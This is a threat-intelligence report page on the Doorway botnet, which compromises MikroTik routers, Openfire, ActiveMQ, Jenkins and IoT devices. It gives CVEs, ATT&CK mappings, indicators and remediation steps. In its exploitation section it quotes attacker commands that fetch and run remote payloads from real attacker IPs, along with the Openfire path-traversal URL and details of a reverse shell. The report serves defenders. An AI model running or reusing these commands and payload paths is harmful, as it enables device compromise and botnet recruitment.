Threat reportMalwareTL-2026-4640
Doorway Botnet: Large-Scale IoT and Network Device Compromise Campaign (MikroTik RouterOS CVE-2023-30799, Openfire CVE-2023-32315, ActiveMQ CVE-2023-46604, Jenkins, Cameras, ONUs)
Doorway Botnet (TL-2026-4640), also tracked as Doorway, is a high-severity malware campaign, first published 2026-10-28. It has no confirmed attribution, affects MikroTik RouterOS, references 3 CVEs (CVE-2023-30799, CVE-2023-46604, CVE-2023-32315), maps to 12 MITRE ATT&CK techniques (T1059.001, T1059.004, T1078.001), and is covered by 9 detection rules and 26 indicators of compromise.
- Severity
- HIGHAssessed severity
- CVEs
- 3Referenced vulnerabilities
- Techniques
- 12MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 26Indicators of compromise
Key facts for TL-2026-4640
- Threat ID
- TL-2026-4640
- Also known as
- Doorway, wtg83
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- Last reviewed
- Attribution confidence
- LOW
- Motivation
- UNKNOWN
- Target sectors
- telecoms, internet service providers, technology, health, enterprise
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 26
Malware and tooling in Doorway Botnet
Malware and tooling: doorway, wtg83, Manage Engine (Desktop Central)
How Doorway Botnet works
CloudSEK analyzed the 'Doorway' botnet, uncovered through two byte-identical exposed open directories (~41 GB) of operator tooling. The campaign compromises MikroTik RouterOS devices, IP cameras, optical network units and Java enterprise servers (Openfire, Jenkins, ActiveMQ, Tomcat and others). The operator is unknown; scanning ran from 2026-09-19 to 2026-10-19 and recorded 11,363 device joins and 58,920 second-stage payload fetches in a single hour.
CloudSEK identified the Doorway operation from two exposed, identical open directories holding roughly 41 GB of operational data: the source of a Rust-based scanning and exploitation engine (doorway 0.1.0, ~21,870 first-party lines), 59 exploit modules covering routers, ONUs, cameras and Java services, credential stores and victim records. Scanning activity ran from 2026-09-19 to 2026-10-19. The article records 11,363 device joins and 58,920 second-stage payload fetches in a single hour, 4,671 module-level join records across 4,217 distinct IPs, 7,369 successful MikroTik/RouterOS authentications across 4,923 distinct device identities, 1,060 PPPoE subscriber records from a single ISP, and 1,772 geolocated victim IPs.
Reconnaissance uses a bounded GET / with the hardcoded User-Agent 'Hello World', ASCII-folded banner fingerprinting, and a honeypot gate that rejects hosts presenting more than 12 distinct fingerprints or more than 10 Server headers. Targeting then tries default or learned credentials (34 default pairs in the credential store; RouterOS WebFig is tried with admin and an empty password) and runs read-only probe() functions before exploitation. Source scanning rotates through a six-address pool (16.5.0.224-228 and 16.5.0.241).
Exploitation is module-specific. For MikroTik RouterOS, CVE-2023-30799 (admin to super-admin privilege escalation, 'FOISted') is chained with a big-endian MIPS gadget/ROP sequence and a SUPER_ADMIN byte-sequence injection; stage2.so (a MIPS32 ELF reverse shell of about 3,500 bytes) is fetched to /flash/rw/disk/stage2.so via /tool fetch and connects back over TCP/4444. For Openfire, CVE-2023-32315 is abused through the setup path traversal (/setup/setup-s/%u002e/plugin-admin.jsp) to upload and activate the malicious plugin ofvalid.jar (2,797 bytes), which writes a .loaded marker and sends an ICMP beacon to 45.205.1.9 before fetching the payload. For Apache ActiveMQ, CVE-2023-46604 is exploited with a Spring XML ClassPathXmlApplicationContext payload that instantiates ProcessBuilder through init-method; Linux hosts run sh -c "$(wget -qO- http://45.90.13.169/wtg83.xml)" and Windows hosts run a hidden PowerShell iex(iwr .../wtg83.ps1) loader. Jenkins is compromised through an anonymous Script Console RCE (20 confirmations).
The wtg83 shell dropper (659 bytes) runs uname -m and fetches an architecture-matched client (x86, a64, arm7, arm5, mips, mpsl; 120-423 KB), marking it with the exploit-vector argument (e.g. activemq, openfire). Delivery chains are redundant and tried in sequence: netcat, wget, curl, busybox wget, TFTP, FTP, raw TCP, NFS mount (45.90.13.11:/srv/nfs), short domains (fd6.eu, 19z.in), CGI form-encoded variants and printf droppers. Payload URLs carry an HMAC signature (?s=<16-hex>) bound to the target IP. An ICMP echo to the beacon receiver acts as proof of execution, as distinct from a successful download. Post-compromise, MikroTik devices are configured with SOCKS proxy services (port 1080 or a non-standard port) and assigned to groups; DARKLANTERN-class routers (UDP/9992 to UDP/8897 SOCKS) were also compromised (18, with 8 beacon-confirmed).
CloudSEK describes an agentic 'Watcher Model' operating pattern: five standing agent sessions, production-metric-driven replanning, a three-cycle escalation threshold and LLM-integrated tooling. The build tag 'wtg83' is likely a campaign/build identifier. Attribution is unknown. CloudSEK flags as unconfirmed the final client's full C2 protocol and tasking, the monetization model, and the success of large-scale RouterOS stage2.so deployment (field logs show 3 attempts, all failed). The BeaconBeagle API returned no records (HTTP 404) for 45.205.1.9 and 45.90.13.169 at the time of research.
MITRE ATT&CK techniques used in TL-2026-4640
Execution
T1059.001 PowerShell; T1059.004 Unix Shell
Initial Access
T1078.001 Default Accounts; T1190 Exploit Public-Facing Application
Command and Control
T1090 Proxy; T1095 Non-Application Layer Protocol; T1571 Non-Standard Port
Credential Access
Persistence
T1505 Server Software Component
Reconnaissance
T1595 Active Scanning; T1595.002 Vulnerability Scanning
Resource Development
Affected products and versions in Doorway Botnet
- MikroTik — RouterOS
Vulnerable versions: Stable before 6.49.7; Long-term through 6.48.6
Fixed in: 6.49.7 and later - Ignite Realtime — Openfire
Vulnerable versions: 3.10.0 to 4.6.7; 4.7.0 to 4.7.4
Fixed in: 4.6.8; 4.7.5 - Apache — ActiveMQ
Vulnerable versions: Before 5.15.16; 5.16.0 to 5.16.6; 5.17.0 to 5.17.5; 5.18.0 to 5.18.2
Fixed in: 5.15.16; 5.16.7; 5.17.6; 5.18.3 - Jenkins — Jenkins (anonymous Script Console exposure)
Vulnerable versions: Instances with anonymous Script Console access - Various — IP cameras, ZBT and MoreQuick ONUs, Realtek Boa-based firmware, DARKLANTERN routers, Tomcat, Confluence, ManageEngine, Mirth Connect, LiteLLM
Vulnerable versions: Default/weak credentials and unpatched instances targeted by the 59 exploit modules
Remediation for Doorway Botnet
Patches
- MikroTik RouterOS: upgrade beyond the CVE-2023-30799 vulnerable range (stable 6.49.7 or later)
- Openfire: upgrade to 4.6.8, 4.7.5 or later for CVE-2023-32315
- Apache ActiveMQ: upgrade to 5.15.16, 5.16.7, 5.17.6 or 5.18.3 or later for CVE-2023-46604
Immediate actions
- Block egress to the listed payload, beacon and C2 IPs and domains (45.205.1.9, 45.90.13.169, 45.90.13.11, 176.98.182.21, 66.151.33.14, fd6.eu, 19z.in)
- Hunt for ICMP echo traffic and TCP/4444 connections to 45.205.1.9
- Search RouterOS file systems and configurations for stage2.so under /flash/rw/disk/
- Audit for unauthorized SOCKS services on port 1080 or non-standard ports on MikroTik devices
- Review Openfire plugin directories for ofvalid.jar and .loaded markers, and Java server hosts for shell children of the Java process
Workarounds
- Disable anonymous access to the Jenkins Script Console
- Restrict Openfire admin console and ActiveMQ OpenWire (61616) to trusted networks
Longer-term hardening
- Remove internet-facing administrative access to routers, cameras and CPE; restrict management to VLANs or VPNs
- Rotate default and shared credentials; disable Telnet and UPnP where feasible
- Correlate authentication failures and successes across source-pool IPs and alert on repeated credential combinations
- Alert on unexpected device configuration changes
CVEs associated with Doorway Botnet
Weaknesses (CWE) in Doorway Botnet
Timeline of Doorway Botnet
- CVE-2023-32315 (Openfire admin console path traversal) published; fixed in Openfire 4.6.8 and 4.7.5.
- CVE-2023-30799 (MikroTik RouterOS admin to super-admin privilege escalation) published; fixed in stable 6.49.7.
- CVE-2023-46604 (Apache ActiveMQ OpenWire unauthenticated RCE) published; fixed in 5.15.16, 5.16.7, 5.17.6 and 5.18.3.
- Start of the Doorway scanning and exploitation run documented in the operator's exposed logs.
- End of the recorded scanning window (about 30 days), covering 11,363 device joins and 58,920 payload fetches in a peak hour and 7,369 successful MikroTik/RouterOS authentications.
- CloudSEK publishes its analysis of the Doorway botnet, discovered through two identical exposed open directories (~41 GB).
Sources cited for Doorway Botnet
- The Doorway Botnet: Inside a Large-Scale IoT and Network Device Compromise Campaign
- NVD - CVE-2023-30799 (MikroTik RouterOS privilege escalation)
- NVD - CVE-2023-46604 (Apache ActiveMQ OpenWire RCE)
- NVD - CVE-2023-32315 (Openfire path traversal)
- Openfire security advisory GHSA-gw42-f939-fhvm (CVE-2023-32315)
- Apache ActiveMQ security advisory CVE-2023-46604
Detection coverage for TL-2026-4640
As of 2026-10-28, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-4640 across Splunk SPL, Microsoft KQL and Sigma, covering 26 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.